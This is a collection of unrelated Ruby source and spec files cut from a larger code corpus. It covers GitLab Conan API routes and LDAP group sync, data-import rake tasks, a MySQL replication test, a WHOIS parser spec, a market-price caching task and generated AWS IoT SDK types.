'This feature was introduced in GitLab 12.6' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true put 'authorize' do authorize_workhorse!(subject: project, maximum_size: project.actual_limits.conan_max_file_size) end end params do requires :conan_package_reference, type: String, desc: 'Conan Package ID' requires :package_revision, type: String, desc: 'Conan Package Revision' requires :file_name, type: String, desc: 'Package file name', values: CONAN_FILES end namespace 'package/:conan_package_reference/:package_revision/:file_name', requirements: FILE_NAME_REQUIREMENTS do desc 'Download package files' do detail 'This feature was introduced in GitLab 12.5' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true get do download_package_file(:package_file) end desc 'Workhorse authorize the conan package file' do detail 'This feature was introduced in GitLab 12.6' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true put 'authorize' do authorize_workhorse!(subject: project, maximum_size: project.actual_limits.conan_max_file_size) end desc 'Upload package files' do detail 'This feature was introduced in GitLab 12.6' end params do requires :file, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)' end route_setting :authentication, job_token_allowed: true, basic_auth_personal_access_token: true put do upload_package_file(:package_file) end end end end end end end end
38.694595
159
0.623804
e2df0b186d54c8968c591a6b74dda3650c45cb1d
215
require_relative 'app/lib/mars_explore' if ARGV.count != 1 puts 'Usage: ruby mars_explore_cli.rb <world_description_file>' exit(1) end file_name = ARGV[0] file = File.open(file_name) MarsExplore.explore(file)
19.545455
65
0.762791
1cc457f36c40216b94492a224b6e66ddd3a91ae2
90
class Comment::Confirmed < Comment default_scope { where(:content => 'something') } end
22.5
50
0.722222
bbf33a8deb817476761f0fc697759e9191b2c5ac
98
# desc "Explaining what the task does" # task :validates_decency_of do # # Task goes here # end
19.6
38
0.714286
3315e7c766fef0b99122c70cb3c5e86845775a2e
1,132
# encoding: utf-8 module DataMapper module Is module Sluggable ## # fired when your plugin gets included into Resource # def self.included(base) end ## # Methods that should be included in DataMapper::Model. # Normally this should just be your generator, so that the namespace # does not get cluttered. ClassMethods and InstanceMethods gets added # in the specific resources when you fire is :example ## def is_sluggable(options = Hash.new) # Add class-methods extend DataMapper::Is::Sluggable::ClassMethods # Add instance-methods include DataMapper::Is::Sluggable::InstanceMethods end module ClassMethods end module InstanceMethods def set_slug(slug, iteraction = 0) raise ArgumentError if slug.nil? new_slug = "#{slug}#{"-#{iteraction}" unless iteraction == 0}" self.attribute_set(:slug, new_slug) if self.class.first(slug: self.slug) self.set_slug(slug, iteraction.to_i + 2) end end end end end end
26.952381
75
0.620141
f7301d0c547bc86faff0cb36ef3192b6d8745264
1,950
namespace :db do desc 'Imports all data in correct order, replaces non-dictionary data' task import: [ 'locations:import', 'location_members:import', 'ndcs:full:import', 'ndcs:full:index', 'sdgs:import', 'ndc_sdg_targets:import', 'indc:import', 'historical_emissions:import', 'adaptation:import', 'wri_metadata:import', 'wb_extra:import', 'timeline:import', 'quantifications:import', 'socioeconomics:import', 'stories:import', 'key_visualizations:import', 'zip_files:import' ] desc 'Imports all data in correct order, replaces all data' task reimport: :environment do puts 'Deleting NdcSdg::Target' NdcSdg::Target.delete_all puts 'Deleting NdcSdg::Goal' NdcSdg::Goal.delete_all puts 'Deleting HistoricalEmissions::Record' HistoricalEmissions::Record.delete_all puts 'Deleting WbExtra::CountryData' WbExtra::CountryData.delete_all puts 'Deleting Socioeconomic::Indicator' Socioeconomic::Indicator.delete_all puts 'Deleting Locations' Location.all.each(&:destroy) puts 'Starting the import' puts 'Deleting stories' Story.delete_all Rake::Task['db:import'].invoke end task import_maxmind: :environment do db_path = Rails.root.join('db', 'GeoLite2-Country.mmdb') tmp_file = Rails.root.join('tmp', 'tmp.mmdb.tar.gz') key = ENV['MAXMIND_LICENSE_KEY'] url = "https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-Country&license_key=#{key}&suffix=tar.gz" abort 'NO MAXMIND LICENSE KEY' unless key.present? puts "DOWNLOADING MAXMIND DB..." abort 'Maxmind download error' unless system "wget -q -c --tries=3 '#{url}' -O #{tmp_file}" abort 'Maxmind unzip error' unless system "cd tmp && tar -xvf #{tmp_file} --wildcards --strip-components 1 '*.mmdb' && mv GeoLite2-Country.mmdb #{db_path}" system "rm #{tmp_file}" puts 'MAXMIND DB DOWNLOADED!' end end
32.5
159
0.692821
f8ee3d4b2f8cff2f9878ae56356e89e89edf1ce0
259
puts "*** RUNNING bundle-apache-java-tomcat-example default.rb" # Reload bundle-apache-java-jboss::default attributes to reset var's depending on apache_docroot value node.from_file(run_context.resolve_attribute( "bundle-apache-java-tomcat", "default" ) )
37
102
0.787645
281377527b33cb105ae358be01db04e7f995bd0b
9,551
module EE module Gitlab module Auth module LDAP module Sync class Group attr_reader :provider, :group, :proxy class << self # Sync members across all providers for the given group. def execute_all_providers(group) return unless ldap_sync_ready?(group) begin group.start_ldap_sync Rails.logger.debug { "Started syncing all providers for '#{group.name}' group" } # Shuffle providers to prevent a scenario where sync fails after a time # and only the first provider or two get synced. This shuffles the order # so subsequent syncs should eventually get to all providers. Obviously # we should avoid failure, but this is an additional safeguard. ::Gitlab::Auth::LDAP::Config.providers.shuffle.each do |provider| Sync::Proxy.open(provider) do |proxy| new(group, proxy).update_permissions end end group.finish_ldap_sync Rails.logger.debug { "Finished syncing all providers for '#{group.name}' group" } rescue ::Gitlab::Auth::LDAP::LDAPConnectionError Rails.logger.warn("Error syncing all providers for '#{group.name}' group") group.fail_ldap_sync end end # Sync members across a single provider for the given group. def execute(group, proxy) return unless ldap_sync_ready?(group) begin group.start_ldap_sync Rails.logger.debug { "Started syncing '#{proxy.provider}' provider for '#{group.name}' group" } sync_group = new(group, proxy) sync_group.update_permissions group.finish_ldap_sync Rails.logger.debug { "Finished syncing '#{proxy.provider}' provider for '#{group.name}' group" } rescue ::Gitlab::Auth::LDAP::LDAPConnectionError Rails.logger.warn("Error syncing '#{proxy.provider}' provider for '#{group.name}' group") group.fail_ldap_sync end end def ldap_sync_ready?(group) fail_stuck_group(group) return true unless group.ldap_sync_started? Rails.logger.warn "Group '#{group.name}' is not ready for LDAP sync. Skipping" false end def fail_stuck_group(group) return unless group.ldap_sync_started? if group.ldap_sync_last_sync_at < 1.hour.ago group.mark_ldap_sync_as_failed('The sync took too long to complete.') end end end def initialize(group, proxy) @provider = proxy.provider @group = group @proxy = proxy end def update_permissions unless group.ldap_sync_started? logger.warn "Group '#{group.name}' LDAP sync status must be 'started' before updating permissions" return end access_levels = AccessLevels.new # Only iterate over group links for the current provider group.ldap_group_links.with_provider(provider).each do |group_link| next unless group_link.active? update_access_levels(access_levels, group_link) end update_existing_group_membership(group, access_levels) add_new_members(group, access_levels) end private def update_access_levels(access_levels, group_link) if member_dns = get_member_dns(group_link) access_levels.set(member_dns, to: group_link.group_access) logger.debug do "Resolved '#{group.name}' group member access: #{access_levels.to_hash}" end end end def get_member_dns(group_link) group_link.cn ? dns_for_group_cn(group_link.cn) : UserFilter.filter(@proxy, group_link.filter) end def dns_for_group_cn(group_cn) if config.group_base.blank? logger.debug { "No `group_base` configured for '#{provider}' provider and group link CN #{group_cn}. Skipping" } return nil end proxy.dns_for_group_cn(group_cn) end def dn_for_uid(uid) proxy.dn_for_uid(uid) end def update_existing_group_membership(group, access_levels) logger.debug { "Updating existing membership for '#{group.name}' group" } select_and_preload_group_members(group).each do |member| user = member.user identity = user.identities.select(:id, :extern_uid) .with_provider(provider).first member_dn = identity.extern_uid.downcase # Skip if this is not an LDAP user with a valid `extern_uid`. next unless member_dn.present? # Prevent shifting group membership, in case where user is a member # of two LDAP groups from different providers linked to the same # GitLab group. This is not ideal, but preserves existing behavior. if user.ldap_identity.id != identity.id access_levels.delete(member_dn) next end desired_access = access_levels[member_dn] # Skip validations and callbacks. We have a limited set of attrs # due to the `select` lookup, and we need to be efficient. # Low risk, because the member should already be valid. member.update_column(:ldap, true) unless member.ldap? # Don't do anything if the user already has the desired access level if member.access_level == desired_access access_levels.delete(member_dn) next end # Check and update the access level. If `desired_access` is `nil` # we need to delete the user from the group. if desired_access.present? # Delete this entry from the hash now that we're acting on it access_levels.delete(member_dn) next if member.ldap? && member.override? add_or_update_user_membership( user, group, desired_access ) elsif group.last_owner?(user) warn_cannot_remove_last_owner(user, group) else group.users.destroy(user) end end end def add_new_members(group, access_levels) logger.debug { "Adding new members to '#{group.name}' group" } access_levels.each do |member_dn, access_level| user = ::Gitlab::Auth::LDAP::User.find_by_uid_and_provider(member_dn, provider) if user.present? add_or_update_user_membership( user, group, access_level ) else logger.debug do <<-MSG.strip_heredoc.tr("\n", ' ') #{self.class.name}: User with DN `#{member_dn}` should have access to '#{group.name}' group but there is no user in GitLab with that identity. Membership will be updated once the user signs in for the first time. MSG end end end end def add_or_update_user_membership(user, group, access, current_user: nil) # Prevent the last owner of a group from being demoted if access < ::Gitlab::Access::OWNER && group.last_owner?(user) warn_cannot_remove_last_owner(user, group) else # If you pass the user object, instead of just user ID, # it saves an extra user database query. group.add_user( user, access, current_user: current_user, ldap: true ) end end def warn_cannot_remove_last_owner(user, group) logger.warn do <<-MSG.strip_heredoc.tr("\n", ' ') #{self.class.name}: LDAP group sync cannot remove #{user.name} (#{user.id}) from group #{group.name} (#{group.id}) as this is the group's last owner MSG end end def select_and_preload_group_members(group) group.members.select(:id, :access_level, :user_id, :ldap, :override) .with_identity_provider(provider).preload(:user) end def logger Rails.logger end def config @proxy.adapter.config end end end end end end end
38.204
128
0.529683
214235f857616ce91c460b3d144f0a2a91b7d917
363
module Sunspot module Query class FieldJsonFacet < AbstractJsonFieldFacet def initialize(field, options, setup) super end def field_name_with_local_params { @field.name => { type: 'terms', field: @field.indexed_name, }.merge!(init_params) } end end end end
18.15
49
0.556474
5d9aa2df1d0d9dfbf5293360ebc80b8f98d8213c
3,647
require 'spec_helper' describe KPM::Inspector do before(:each) do @logger = Logger.new(STDOUT) @logger.level = Logger::INFO tmp_bundles_dir = Dir.mktmpdir @bundles_dir = Pathname.new(tmp_bundles_dir).expand_path @plugins_dir = @bundles_dir.join('plugins') FileUtils.mkdir_p(@plugins_dir) @ruby_plugins_dir = @plugins_dir.join('ruby') FileUtils.mkdir_p(@ruby_plugins_dir) @java_plugins_dir = @plugins_dir.join('java') FileUtils.mkdir_p(@java_plugins_dir) @manager = KPM::PluginsManager.new(@plugins_dir, @logger) @sha1_file = @bundles_dir.join("sha1.yml") @sha1_checker = KPM::Sha1Checker.from_file(@sha1_file) end it 'should parse a correctly setup env' do add_plugin('foo', 'plugin_foo', ['1.2.3', '2.0.0', '2.0.1'], 'ruby', 'com.foo', 'foo', 'tar.gz', nil, ['12345', '23456', '34567'], '2.0.1', ['1.2.3']) add_plugin('bar', 'plugin_bar', ['1.0.0'], 'java', 'com.bar', 'bar', 'jar', nil, ['98765'], nil, []) inspector = KPM::Inspector.new all_plugins = inspector.inspect(@bundles_dir) all_plugins.size == 2 all_plugins['plugin_bar']['plugin_key'] == 'bar' all_plugins['plugin_bar']['plugin_path'] == @java_plugins_dir.join('plugin_bar').to_s all_plugins['plugin_bar'][:versions].size == 1 all_plugins['plugin_bar'][:versions][0][:version] == '1.0.0' all_plugins['plugin_bar'][:versions][0][:is_default] == true all_plugins['plugin_bar'][:versions][0][:is_disabled] == false all_plugins['plugin_bar'][:versions][0][:sha1] == '98765' all_plugins['plugin_foo']['plugin_key'] == 'foo' all_plugins['plugin_foo']['plugin_path'] == @ruby_plugins_dir.join('plugin_foo').to_s all_plugins['plugin_foo'][:versions].size == 3 all_plugins['plugin_foo'][:versions][0][:version] == '1.2.3' all_plugins['plugin_foo'][:versions][0][:is_default] == false all_plugins['plugin_foo'][:versions][0][:is_disabled] == true all_plugins['plugin_foo'][:versions][0][:sha1] == '12345' all_plugins['plugin_foo'][:versions][1][:version] == '2.0.0' all_plugins['plugin_foo'][:versions][1][:is_default] == false all_plugins['plugin_foo'][:versions][1][:is_disabled] == false all_plugins['plugin_foo'][:versions][1][:sha1] == '23456' all_plugins['plugin_foo'][:versions][2][:version] == '2.0.1' all_plugins['plugin_foo'][:versions][2][:is_default] == true all_plugins['plugin_foo'][:versions][2][:is_disabled] == false all_plugins['plugin_foo'][:versions][2][:sha1] == '34567' end private def add_plugin(plugin_key, plugin_name, versions, language, group_id, artifact_id, packaging, classifier, sha1, active_version, disabled_versions) plugin_dir = language == 'ruby' ? @ruby_plugins_dir.join(plugin_name) : @java_plugins_dir.join(plugin_name) versions.each_with_index do |v, idx| coordinate_map = {:group_id => group_id, :artifact_id => artifact_id, :version => v, :packaging => packaging, :classifier => classifier} coordinates = KPM::Coordinates.build_coordinates(coordinate_map) @manager.add_plugin_identifier_key(plugin_key, plugin_name, language, coordinate_map) @sha1_checker.add_or_modify_entry!(coordinates, sha1[idx]) plugin_dir_version = plugin_dir.join(v) FileUtils.mkdir_p(plugin_dir_version) # Create some entry to look real some_file = 'ruby' ? 'ROOT' : '#{plugin_name}.jar' FileUtils.touch(plugin_dir_version.join(some_file)) end @manager.set_active(plugin_dir, active_version) if active_version disabled_versions.each do |v| @manager.uninstall(plugin_dir, v) end end end
36.47
154
0.679737
1d3fceb6538356795d981222a12674bc10a033d0
2,516
require 'spec_helper' REPLICATION_PRIVATE_KEY_PATH = File.join DOCKERFILE_ROOT, 'spec', 'ssh_keys', 'id_rsa' describe "replication" do before :all do @master = Docker::Container.create( 'Image' => 'klevo/test_mysql_master', 'Detach' => true ) @master.start @slave = Docker::Container.create( 'Image' => IMAGE_TAG, 'Detach' => true, 'Env' => [ 'MYSQL_ROOT_PASSWORD=foo', 'REPLICATION_SLAVE_MASTER_HOST=master', 'REPLICATION_SLAVE_REMOTE_PORT=3306', 'REPLICATION_SLAVE_USER=db1_slave', 'REPLICATION_SLAVE_PASSWORD=slaveUserPass' ] ) master_container_name = @master.json['Name'].gsub(/^\//, '') @slave.start( 'Links' => ["#{master_container_name}:master"], 'Binds' => ["#{REPLICATION_PRIVATE_KEY_PATH}:/tunnels_id_rsa"] ) # Wait for both containers to fully start @master.exec(['bash', '-c', 'mysqladmin --silent --wait=30 ping']) @slave.exec(['bash', '-c', 'mysqladmin --silent --wait=30 ping']) end it "can be run as replication slave" do # 1. Use the replication_master_sql script to prepare master for replication stdout, stderr = @slave.exec(['bash', '-c', 'replication_master_sql']) sql = stdout.first.chomp.strip # puts "Executing on master: \"#{sql}\"" stdout, stderr = @master.exec(['bash', '-c', %{mysql -e "#{sql}"}]) # puts [stdout, stderr] # Get the binlog position for the slave stdout, stderr = @master.exec(['bash', '-c', 'mysql -N -B -e "show master status;"']) # puts [stdout, stderr] binlog, position = stdout.first.split("\t") # binding.pry # mysql -h127.0.0.1 -P3307 -udb1_slave -pslaveUserPass sleep 10 # 3. Start the replication on the slave stdout, stderr = @slave.exec(['bash', '-c', "replication_start #{binlog} #{position}"]) # puts [stdout, stderr] expect(stdout.first).to_not match(/ERROR/) expect(stderr.first).to_not match(/ERROR/) # 4. Do some changes on the master stdout, stderr = @master.exec(['bash', '-c', %{mysql -e "create database go_slave;"}]) # puts [stdout, stderr] # 5. Check whether the query has propagated to the slave sleep 3 stdout, stderr = @slave.exec(['bash', '-c', 'mysql -e "show databases;"']) # puts [stdout, stderr] expect(stdout.first).to match(/go_slave/) end after :all do @master.delete(force: true, v: true) @slave.delete(force: true, v: true) end end
34
91
0.619634
acbebb6c0543cbec7c6fe0c7683130c5758d0c2b
520
class SecondaryContentLink < ApplicationRecord belongs_to :step_by_step_page validates :step_by_step_page, presence: true validates :title, :base_path, :content_id, :publishing_app, :schema_name, :step_by_step_page_id, presence: true validates :base_path, uniqueness: { scope: :step_by_step_page_id, case_sensitive: false } # rubocop:disable Rails/UniqueValidationWithoutIndex def smartanswer? schema_name == "smart_answer" || (schema_name == "transaction" && publishing_app == "smartanswers") end end
43.333333
144
0.782692
91d794f339ce8d603687cece2280fb7810cbe216
1,623
# encoding: utf-8 # This file is autogenerated. Do not edit it manually. # If you want change the content of this file, edit # # /spec/fixtures/responses/whois.nic.hn/status_available.expected # # and regenerate the tests with the following rake task # # $ rake spec:generate # require 'spec_helper' require 'whois/record/parser/whois.nic.hn.rb' describe Whois::Record::Parser::WhoisNicHn, "status_available.expected" do subject do file = fixture("responses", "whois.nic.hn/status_available.txt") part = Whois::Record::Part.new(body: File.read(file)) described_class.new(part) end describe "#domain" do it do expect(subject.domain).to eq("u34jedzcq.hn") end end describe "#domain_id" do it do expect(subject.domain_id).to eq(nil) end end describe "#status" do it do expect(subject.status).to eq(:available) end end describe "#available?" do it do expect(subject.available?).to eq(true) end end describe "#registered?" do it do expect(subject.registered?).to eq(false) end end describe "#created_on" do it do expect(subject.created_on).to eq(nil) end end describe "#updated_on" do it do expect(subject.updated_on).to eq(nil) end end describe "#expires_on" do it do expect(subject.expires_on).to eq(nil) end end describe "#registrar" do it do expect(subject.registrar).to eq(nil) end end describe "#nameservers" do it do expect(subject.nameservers).to be_a(Array) expect(subject.nameservers).to eq([]) end end end
21.355263
74
0.663586
2671678f86cdaf17587535cca8ccf5c54003635d
1,406
UNIVERSALIS_BASE_URL = 'https://universalis.app/api/v2'.freeze namespace :prices do desc 'Sets the latest known market board prices for items by data center' task cache: :environment do item_ids = Item.where(tradeable: true).where.not(unlock_id: nil).pluck(:id) item_ids << 32830 # Add "Paint It X" which is missed due to multiple unlock IDs Character.data_centers.each do |dc| puts "[#{Time.now.strftime('%Y-%m-%d %H:%M:%S %Z')}] Updating prices for #{dc}" key = "prices-#{dc.downcase}" item_ids.each_slice(100) do |ids| begin url = "#{UNIVERSALIS_BASE_URL}/#{dc}/#{ids.join(',')}?listings=1&entries=0" response = JSON.parse(RestClient::Request.execute(url: url, method: :get, verify_ssl: false)) prices = response['items'].map do |id, item| last_updated = Time.at(item['lastUploadTime'] / 1000).to_date price, world = item['listings'].first&.values_at('pricePerUnit', 'worldName') [id, { price: price || 'N/A', world: world || 'N/A', last_updated: last_updated }.to_json] end Redis.current.hmset(key, prices.flatten) rescue RestClient::ExceptionWithResponse => e puts "There was a problem fetching #{url}" puts e.response rescue puts "There was an unexpected problem fetching #{url}" end end end end end
39.055556
103
0.625889
e8d2673c0bb9f12c226ab51c5e6fb1bbe0bb11d7
583
class Types::BaseObject < GraphQL::Schema::Object include Authorization::ControllerHelpers def self.authorized?(object, context) return true unless object.is_a? ApplicationRecord super && Authorization.dictator.authorized?(object, :read) end def self.scope_items(items, context) items.select do |item| case item when ApplicationRecord Authorization.dictator.authorized?(item, :read) else true end end end def current_user context[:current_user] end def current_team context[:current_team] end end
20.821429
62
0.698113
61252549413fbfc9b685f818701ec7da3c986bb7
480,660
# WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/master/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE module Aws::IoT module Types # Details of abort criteria to abort the job. # # @note When making an API call, you may pass AbortConfig # data as a hash: # # { # criteria_list: [ # required # { # failure_type: "FAILED", # required, accepts FAILED, REJECTED, TIMED_OUT, ALL # action: "CANCEL", # required, accepts CANCEL # threshold_percentage: 1.0, # required # min_number_of_executed_things: 1, # required # }, # ], # } # # @!attribute [rw] criteria_list # The list of abort criteria to define rules to abort the job. # @return [Array<Types::AbortCriteria>] # class AbortConfig < Struct.new( :criteria_list) include Aws::Structure end # Details of abort criteria to define rules to abort the job. # # @note When making an API call, you may pass AbortCriteria # data as a hash: # # { # failure_type: "FAILED", # required, accepts FAILED, REJECTED, TIMED_OUT, ALL # action: "CANCEL", # required, accepts CANCEL # threshold_percentage: 1.0, # required # min_number_of_executed_things: 1, # required # } # # @!attribute [rw] failure_type # The type of job execution failure to define a rule to initiate a job # abort. # @return [String] # # @!attribute [rw] action # The type of abort action to initiate a job abort. # @return [String] # # @!attribute [rw] threshold_percentage # The threshold as a percentage of the total number of executed things # that will initiate a job abort. # # AWS IoT supports up to two digits after the decimal (for example, # 10.9 and 10.99, but not 10.999). # @return [Float] # # @!attribute [rw] min_number_of_executed_things # Minimum number of executed things before evaluating an abort rule. # @return [Integer] # class AbortCriteria < Struct.new( :failure_type, :action, :threshold_percentage, :min_number_of_executed_things) include Aws::Structure end # The input for the AcceptCertificateTransfer operation. # # @note When making an API call, you may pass AcceptCertificateTransferRequest # data as a hash: # # { # certificate_id: "CertificateId", # required # set_as_active: false, # } # # @!attribute [rw] certificate_id # The ID of the certificate. (The last part of the certificate ARN # contains the certificate ID.) # @return [String] # # @!attribute [rw] set_as_active # Specifies whether the certificate is active. # @return [Boolean] # class AcceptCertificateTransferRequest < Struct.new( :certificate_id, :set_as_active) include Aws::Structure end # Describes the actions associated with a rule. # # @note When making an API call, you may pass Action # data as a hash: # # { # dynamo_db: { # table_name: "TableName", # required # role_arn: "AwsArn", # required # operation: "DynamoOperation", # hash_key_field: "HashKeyField", # required # hash_key_value: "HashKeyValue", # required # hash_key_type: "STRING", # accepts STRING, NUMBER # range_key_field: "RangeKeyField", # range_key_value: "RangeKeyValue", # range_key_type: "STRING", # accepts STRING, NUMBER # payload_field: "PayloadField", # }, # dynamo_d_bv_2: { # role_arn: "AwsArn", # required # put_item: { # required # table_name: "TableName", # required # }, # }, # lambda: { # function_arn: "FunctionArn", # required # }, # sns: { # target_arn: "AwsArn", # required # role_arn: "AwsArn", # required # message_format: "RAW", # accepts RAW, JSON # }, # sqs: { # role_arn: "AwsArn", # required # queue_url: "QueueUrl", # required # use_base_64: false, # }, # kinesis: { # role_arn: "AwsArn", # required # stream_name: "StreamName", # required # partition_key: "PartitionKey", # }, # republish: { # role_arn: "AwsArn", # required # topic: "TopicPattern", # required # qos: 1, # }, # s3: { # role_arn: "AwsArn", # required # bucket_name: "BucketName", # required # key: "Key", # required # canned_acl: "private", # accepts private, public-read, public-read-write, aws-exec-read, authenticated-read, bucket-owner-read, bucket-owner-full-control, log-delivery-write # }, # firehose: { # role_arn: "AwsArn", # required # delivery_stream_name: "DeliveryStreamName", # required # separator: "FirehoseSeparator", # }, # cloudwatch_metric: { # role_arn: "AwsArn", # required # metric_namespace: "String", # required # metric_name: "String", # required # metric_value: "String", # required # metric_unit: "String", # required # metric_timestamp: "String", # }, # cloudwatch_alarm: { # role_arn: "AwsArn", # required # alarm_name: "AlarmName", # required # state_reason: "StateReason", # required # state_value: "StateValue", # required # }, # elasticsearch: { # role_arn: "AwsArn", # required # endpoint: "ElasticsearchEndpoint", # required # index: "ElasticsearchIndex", # required # type: "ElasticsearchType", # required # id: "ElasticsearchId", # required # }, # salesforce: { # token: "SalesforceToken", # required # url: "SalesforceEndpoint", # required # }, # iot_analytics: { # channel_arn: "AwsArn", # channel_name: "ChannelName", # role_arn: "AwsArn", # }, # iot_events: { # input_name: "InputName", # required # message_id: "MessageId", # role_arn: "AwsArn", # required # }, # iot_site_wise: { # put_asset_property_value_entries: [ # required # { # entry_id: "AssetPropertyEntryId", # asset_id: "AssetId", # property_id: "AssetPropertyId", # property_alias: "AssetPropertyAlias", # property_values: [ # required # { # value: { # required # string_value: "AssetPropertyStringValue", # integer_value: "AssetPropertyIntegerValue", # double_value: "AssetPropertyDoubleValue", # boolean_value: "AssetPropertyBooleanValue", # }, # timestamp: { # required # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # }, # quality: "AssetPropertyQuality", # }, # ], # }, # ], # role_arn: "AwsArn", # required # }, # step_functions: { # execution_name_prefix: "ExecutionNamePrefix", # state_machine_name: "StateMachineName", # required # role_arn: "AwsArn", # required # }, # http: { # url: "Url", # required # confirmation_url: "Url", # headers: [ # { # key: "HeaderKey", # required # value: "HeaderValue", # required # }, # ], # auth: { # sigv4: { # signing_region: "SigningRegion", # required # service_name: "ServiceName", # required # role_arn: "AwsArn", # required # }, # }, # }, # } # # @!attribute [rw] dynamo_db # Write to a DynamoDB table. # @return [Types::DynamoDBAction] # # @!attribute [rw] dynamo_d_bv_2 # Write to a DynamoDB table. This is a new version of the DynamoDB # action. It allows you to write each attribute in an MQTT message # payload into a separate DynamoDB column. # @return [Types::DynamoDBv2Action] # # @!attribute [rw] lambda # Invoke a Lambda function. # @return [Types::LambdaAction] # # @!attribute [rw] sns # Publish to an Amazon SNS topic. # @return [Types::SnsAction] # # @!attribute [rw] sqs # Publish to an Amazon SQS queue. # @return [Types::SqsAction] # # @!attribute [rw] kinesis # Write data to an Amazon Kinesis stream. # @return [Types::KinesisAction] # # @!attribute [rw] republish # Publish to another MQTT topic. # @return [Types::RepublishAction] # # @!attribute [rw] s3 # Write to an Amazon S3 bucket. # @return [Types::S3Action] # # @!attribute [rw] firehose # Write to an Amazon Kinesis Firehose stream. # @return [Types::FirehoseAction] # # @!attribute [rw] cloudwatch_metric # Capture a CloudWatch metric. # @return [Types::CloudwatchMetricAction] # # @!attribute [rw] cloudwatch_alarm # Change the state of a CloudWatch alarm. # @return [Types::CloudwatchAlarmAction] # # @!attribute [rw] elasticsearch # Write data to an Amazon Elasticsearch Service domain. # @return [Types::ElasticsearchAction] # # @!attribute [rw] salesforce # Send a message to a Salesforce IoT Cloud Input Stream. # @return [Types::SalesforceAction] # # @!attribute [rw] iot_analytics # Sends message data to an AWS IoT Analytics channel. # @return [Types::IotAnalyticsAction] # # @!attribute [rw] iot_events # Sends an input to an AWS IoT Events detector. # @return [Types::IotEventsAction] # # @!attribute [rw] iot_site_wise # Sends data from the MQTT message that triggered the rule to AWS IoT # SiteWise asset properties. # @return [Types::IotSiteWiseAction] # # @!attribute [rw] step_functions # Starts execution of a Step Functions state machine. # @return [Types::StepFunctionsAction] # # @!attribute [rw] http # Send data to an HTTPS endpoint. # @return [Types::HttpAction] # class Action < Struct.new( :dynamo_db, :dynamo_d_bv_2, :lambda, :sns, :sqs, :kinesis, :republish, :s3, :firehose, :cloudwatch_metric, :cloudwatch_alarm, :elasticsearch, :salesforce, :iot_analytics, :iot_events, :iot_site_wise, :step_functions, :http) include Aws::Structure end # Information about an active Device Defender security profile behavior # violation. # # @!attribute [rw] violation_id # The ID of the active violation. # @return [String] # # @!attribute [rw] thing_name # The name of the thing responsible for the active violation. # @return [String] # # @!attribute [rw] security_profile_name # The security profile whose behavior is in violation. # @return [String] # # @!attribute [rw] behavior # The behavior which is being violated. # @return [Types::Behavior] # # @!attribute [rw] last_violation_value # The value of the metric (the measurement) which caused the most # recent violation. # @return [Types::MetricValue] # # @!attribute [rw] last_violation_time # The time the most recent violation occurred. # @return [Time] # # @!attribute [rw] violation_start_time # The time the violation started. # @return [Time] # class ActiveViolation < Struct.new( :violation_id, :thing_name, :security_profile_name, :behavior, :last_violation_value, :last_violation_time, :violation_start_time) include Aws::Structure end # @note When making an API call, you may pass AddThingToBillingGroupRequest # data as a hash: # # { # billing_group_name: "BillingGroupName", # billing_group_arn: "BillingGroupArn", # thing_name: "ThingName", # thing_arn: "ThingArn", # } # # @!attribute [rw] billing_group_name # The name of the billing group. # @return [String] # # @!attribute [rw] billing_group_arn # The ARN of the billing group. # @return [String] # # @!attribute [rw] thing_name # The name of the thing to be added to the billing group. # @return [String] # # @!attribute [rw] thing_arn # The ARN of the thing to be added to the billing group. # @return [String] # class AddThingToBillingGroupRequest < Struct.new( :billing_group_name, :billing_group_arn, :thing_name, :thing_arn) include Aws::Structure end class AddThingToBillingGroupResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass AddThingToThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # thing_group_arn: "ThingGroupArn", # thing_name: "ThingName", # thing_arn: "ThingArn", # override_dynamic_groups: false, # } # # @!attribute [rw] thing_group_name # The name of the group to which you are adding a thing. # @return [String] # # @!attribute [rw] thing_group_arn # The ARN of the group to which you are adding a thing. # @return [String] # # @!attribute [rw] thing_name # The name of the thing to add to a group. # @return [String] # # @!attribute [rw] thing_arn # The ARN of the thing to add to a group. # @return [String] # # @!attribute [rw] override_dynamic_groups # Override dynamic thing groups with static thing groups when 10-group # limit is reached. If a thing belongs to 10 thing groups, and one or # more of those groups are dynamic thing groups, adding a thing to a # static group removes the thing from the last dynamic group. # @return [Boolean] # class AddThingToThingGroupRequest < Struct.new( :thing_group_name, :thing_group_arn, :thing_name, :thing_arn, :override_dynamic_groups) include Aws::Structure end class AddThingToThingGroupResponse < Aws::EmptyStructure; end # Parameters used when defining a mitigation action that move a set of # things to a thing group. # # @note When making an API call, you may pass AddThingsToThingGroupParams # data as a hash: # # { # thing_group_names: ["ThingGroupName"], # required # override_dynamic_groups: false, # } # # @!attribute [rw] thing_group_names # The list of groups to which you want to add the things that # triggered the mitigation action. You can add a thing to a maximum of # 10 groups, but you cannot add a thing to more than one group in the # same hierarchy. # @return [Array<String>] # # @!attribute [rw] override_dynamic_groups # Specifies if this mitigation action can move the things that # triggered the mitigation action even if they are part of one or more # dynamic things groups. # @return [Boolean] # class AddThingsToThingGroupParams < Struct.new( :thing_group_names, :override_dynamic_groups) include Aws::Structure end # A structure containing the alert target ARN and the role ARN. # # @note When making an API call, you may pass AlertTarget # data as a hash: # # { # alert_target_arn: "AlertTargetArn", # required # role_arn: "RoleArn", # required # } # # @!attribute [rw] alert_target_arn # The ARN of the notification target to which alerts are sent. # @return [String] # # @!attribute [rw] role_arn # The ARN of the role that grants permission to send alerts to the # notification target. # @return [String] # class AlertTarget < Struct.new( :alert_target_arn, :role_arn) include Aws::Structure end # Contains information that allowed the authorization. # # @!attribute [rw] policies # A list of policies that allowed the authentication. # @return [Array<Types::Policy>] # class Allowed < Struct.new( :policies) include Aws::Structure end # An asset property timestamp entry containing the following # information. # # @note When making an API call, you may pass AssetPropertyTimestamp # data as a hash: # # { # time_in_seconds: "AssetPropertyTimeInSeconds", # required # offset_in_nanos: "AssetPropertyOffsetInNanos", # } # # @!attribute [rw] time_in_seconds # A string that contains the time in seconds since epoch. Accepts # 